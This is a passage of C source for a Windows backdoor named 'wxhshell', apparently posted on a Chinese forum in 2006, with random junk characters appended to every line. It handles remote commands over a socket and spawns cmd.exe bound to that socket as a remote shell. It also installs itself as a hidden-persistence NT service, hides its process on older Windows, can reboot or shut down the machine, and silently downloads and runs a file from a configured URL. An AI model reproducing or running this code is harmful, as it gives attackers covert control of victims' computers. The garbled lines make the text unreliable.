  case '?': { aoz+g,1 //  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~YO')  
    break; "v/^nH  
  } )FT~gl%  
  // 安装 5H:NY|  
  case 'i': { f'TjR#w  
    if(Install()) djqSW9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Run)E*sf  
    else 9 }|Bs=q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~^$ONmI5  
    break; 7 ;|jq39  
    } N'Ywn}!js  
  // 卸载 F0o7XUt  
  case 'r': { MG[?C2KA/  
    if(Uninstall()) dP T)&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\!0yM#yK  
    else m@.4Wrv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #l2wF>0  
    break; f,d @*E  
    }  S&]+r<  
  // 显示 wxhshell 所在路径 4?><x[l2{  
  case 'p': { i|Lir{vW  
    char svExeFile[MAX_PATH]; 6=Kl[U0Y  
    strcpy(svExeFile,"\n\r"); f?#:@ zcL  
      strcat(svExeFile,ExeFile); s#&jE GBug  
        send(wsh,svExeFile,strlen(svExeFile),0); kR7IZo" q  
    break; x% k4Lm  
    } J*U,kyYF  
  // 重启 )M#~/~^f+  
  case 'b': { <d# 9d.<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [esjR`u  
    if(Boot(REBOOT)) ETV|;>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )K -@{v^|  
    else { /XEcA 5C<  
    closesocket(wsh); xE;4#+_I  
    ExitThread(0); I"#jSazk  
    } [X#bDO<t  
    break; =+T{!+|6P  
    } -9}]J\  
  // 关机 ~ bL(mq  
  case 'd': { rVzj LkN^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }/x `w  
    if(Boot(SHUTDOWN)) a ^iefwsNc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $.R$I&U  
    else { r&A#h;EQX2  
    closesocket(wsh); m0paGG  
    ExitThread(0); (:,N?bg  
    } .MhZ=sn  
    break; $V]D7kDph*  
    }  h#^IT  
  // 获取shell Dgj`_yd  
  case 's': { Pw1V1v&> q  
    CmdShell(wsh); Os*,@N3t  
    closesocket(wsh); yi"V'Us  
    ExitThread(0); )+RGXV p  
    break;  P%xk   
  } @Q !f^  
  // 退出 {O5;V/00}  
  case 'x': { MkC25  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W~.1f1)  
    CloseIt(wsh); WfhQi;r  
    break; 0 !E* >  
    } ZWG$MFEjl  
  // 离开 ]d9;YVAU  
  case 'q': { lD6hL8[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oPk2ac  
    closesocket(wsh); <uU AAHi  
    WSACleanup(); ,'= Y  
    exit(1); sw'20I  
    break; R/~j <.s3P  
        } NVS U)#  
  } )$P!7$C-  
  } (jPN+yQ  
LZ|G"5X[  
  // 提示信息 H_ .@{8I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9:!n'mn  
} (5_l7hWY  
  } uWG'AmK_#E  
isj<lnQ  
  return; NlU:e}zGR  
} Rr^<Q:#"<|  
r}WV"/]p  
// shell模块句柄 8niQG']  
int CmdShell(SOCKET sock) }z,4IHNn  
{ B:n9*<v(  
STARTUPINFO si; $A7[?Ai ?  
ZeroMemory(&si,sizeof(si)); ='pssdB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M86v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :)q/8 0@  
PROCESS_INFORMATION ProcessInfo; r*>XkM& M  
char cmdline[]="cmd"; y{? 6U>_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hDl& KE  
  return 0; NjdAfgA  
} v8 y77:  
+'= ^/!  
// 自身启动模式 ?T$i  
int StartFromService(void) _q)`Y:2  
{ n~8-+$6OR  
typedef struct 'ujt w:Z:  
{ udqGa)&0  
  DWORD ExitStatus; I> =7|G  
  DWORD PebBaseAddress;  |}QDC/  
  DWORD AffinityMask; 4L^KR_h/  
  DWORD BasePriority; bV@53_)N2  
  ULONG UniqueProcessId; ,`P,))  
  ULONG InheritedFromUniqueProcessId; X z2IAiAs'  
}   PROCESS_BASIC_INFORMATION; 00%$?Fyk  
1#(,Bq4  
PROCNTQSIP NtQueryInformationProcess; 2OAh7'8<  
"%A/bv\u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VaZS_ qGe:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gpHI)1i'H  
hNyYk(t^  
  HANDLE             hProcess; @xtcjB9  
  PROCESS_BASIC_INFORMATION pbi; L G,XhN  
kzLj1Ix2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^+mSf`5  
  if(NULL == hInst ) return 0; [k@D}p x  
KVtnz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yf3%g\k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 17$JBQ,[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }-V .upl  
}}cVPB7   
  if (!NtQueryInformationProcess) return 0; F!|Z_6\tv:  
S?OK@UEJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \ CV(c]  
  if(!hProcess) return 0; '}P)iS2  
9C|T/+R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #bsRL8@  
{8@?9Z9R{  
  CloseHandle(hProcess); /B|#GJ\\3  
9w11kut-!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]pB0bJAt  
if(hProcess==NULL) return 0; P6i4Dr  
PLFM[t/  
HMODULE hMod; q&jZmr  
char procName[255]; @o9EX }  
unsigned long cbNeeded; 1^!= J<`K;  
`r_qvrC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _? 1<  
73Mh65  
  CloseHandle(hProcess); nP 2rN_:4  
*S~. KW[  
if(strstr(procName,"services")) return 1; // 以服务启动 U+@yx>!  
eJ'2 CM6  
  return 0; // 注册表启动 9@QP?=\Y  
} (z ;=3S  
~K:#a$!%,  
// 主模块 :/~`"`#1  
int StartWxhshell(LPSTR lpCmdLine) (G#)[0<fX  
{ wA.YEI|CSj  
  SOCKET wsl; fAUtqkB  
BOOL val=TRUE; kul&m|  
  int port=0; ``w,CP ?  
  struct sockaddr_in door; hS*3yCE"8  
n;O 3.2  
  if(wscfg.ws_autoins) Install(); 4*m\Zoq>  
sV3/8W13  
port=atoi(lpCmdLine); 1Pn!{ bU3@  
G ytI_an8  
if(port<=0) port=wscfg.ws_port; n6ud;jN|  
(Dc dR:/=  
  WSADATA data; 7jEAhi!Cq(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a>""MC2  
M# S:'WN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gEPCXf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <lv:mqV  
  door.sin_family = AF_INET; 0]i#1Si~@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5/neV&VcB  
  door.sin_port = htons(port); 2R|2yAh  
-FE5sW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EeL~`$f  
closesocket(wsl); 7J0 PO}N  
return 1; &=_YL  
} lc[\ S4  
@R`OAd y  
  if(listen(wsl,2) == INVALID_SOCKET) { U/{cYX  
closesocket(wsl); I /> .P  
return 1; Z$6W)~;,  
} ~EX/IIa{  
  Wxhshell(wsl); nA%-<  
  WSACleanup(); s_E iA _  
{?eD7xL:-  
return 0; shP,-Vs #  
^Z\1z!{R  
} =]etw  
U'Vz   
// 以NT服务方式启动 ii{5z;I]X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) INcJXlv  
{ !U=;e?o  
DWORD   status = 0; qItj`F)d  
  DWORD   specificError = 0xfffffff; z[CCgs&vqe  
`[Z?&'CRQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W}JJaZR*X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &hqGGfVsd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % sT=>\  
  serviceStatus.dwWin32ExitCode     = 0; "64pVaT4  
  serviceStatus.dwServiceSpecificExitCode = 0; ?XW+&!ar  
  serviceStatus.dwCheckPoint       = 0; MhJq~G p  
  serviceStatus.dwWaitHint       = 0; ioh_5 5e  
/:C"n|P7Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &5C%5C~ch  
  if (hServiceStatusHandle==0) return; \XmtSfFC  
vmW4a3  
status = GetLastError(); 8fZ\})t  
  if (status!=NO_ERROR) #YjV3O5<  
{ !"p,9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mt-y{*6!k  
    serviceStatus.dwCheckPoint       = 0; TC J\@|yw  
    serviceStatus.dwWaitHint       = 0; I"Y?vj9]  
    serviceStatus.dwWin32ExitCode     = status; 31J7# S2  
    serviceStatus.dwServiceSpecificExitCode = specificError; D`,@EW].  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yh lZdF  
    return; ou96 P<B  
  } qlDLZ.  
M!mTNIj8~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x$6-7<p  
  serviceStatus.dwCheckPoint       = 0; ITq+Hk R  
  serviceStatus.dwWaitHint       = 0; :n>:*e@w%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .DCp)&m l;  
} 7.akp  
| M-@Qvgh  
// 处理NT服务事件,比如:启动、停止 C, jPr )6)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5C{X$7u  
{ YQe @C  
switch(fdwControl) @WFjM  
{ ;2%3~L8?V  
case SERVICE_CONTROL_STOP: x"U/M ?l  
  serviceStatus.dwWin32ExitCode = 0; 9.PY49|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9-pd{Z~l  
  serviceStatus.dwCheckPoint   = 0; ~+^,o_hT  
  serviceStatus.dwWaitHint     = 0; 2yeq2v   
  { KasOh"W.P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v  mw7H  
  } qY#*zx  
  return; z,/dYvT<  
case SERVICE_CONTROL_PAUSE: 69q8t*%O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gs*ea'T)  
  break; ~x>IN1Vci  
case SERVICE_CONTROL_CONTINUE: LhV4 ^\+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _H:SoJ'  
  break; "B)DX*-\?  
case SERVICE_CONTROL_INTERROGATE: BWw7o{d  
  break; BAqu@F\):  
}; MS,H12h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zj`eR\7~  
} nb?bx{M  
.8.ivfmJh  
// 标准应用程序主函数 REFisH-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X2sK<Qluql  
{ .%~ L  
r+$ 0u~^  
// 获取操作系统版本 I|iI ,l/9  
OsIsNt=GetOsVer(); LnR3C:NO k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x2|DI)J1'  
D.$EvUSK<.  
  // 从命令行安装 QC ?8  
  if(strpbrk(lpCmdLine,"iI")) Install(); z[OW%(vrm  
Z AZQFr'*  
  // 下载执行文件 b/ZX}<s(1=  
if(wscfg.ws_downexe) { kv`x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )t)tk=R9N  
  WinExec(wscfg.ws_filenam,SW_HIDE); UP,0`fh(y  
} Jz3q Pr  
f_;3|i  
if(!OsIsNt) { n=hz7tjaz  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z < uwqA  
HideProc(); 9f BD.9A  
StartWxhshell(lpCmdLine); P=u)Q _  
} 1d-j_ H`s  
else [C7:Yg7  
  if(StartFromService()) RZ?>>Ll6  
  // 以服务方式启动 bh+R9~  
  StartServiceCtrlDispatcher(DispatchTable); r Ld,Izi  
else _^&oNm1  
  // 普通方式启动 )%#hpP M^  
  StartWxhshell(lpCmdLine); eZ  ]6 Q  
%>24.i"l  
return 0; sAnH\AFm  
}
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只看该作者 1 发表于: 2006-10-10
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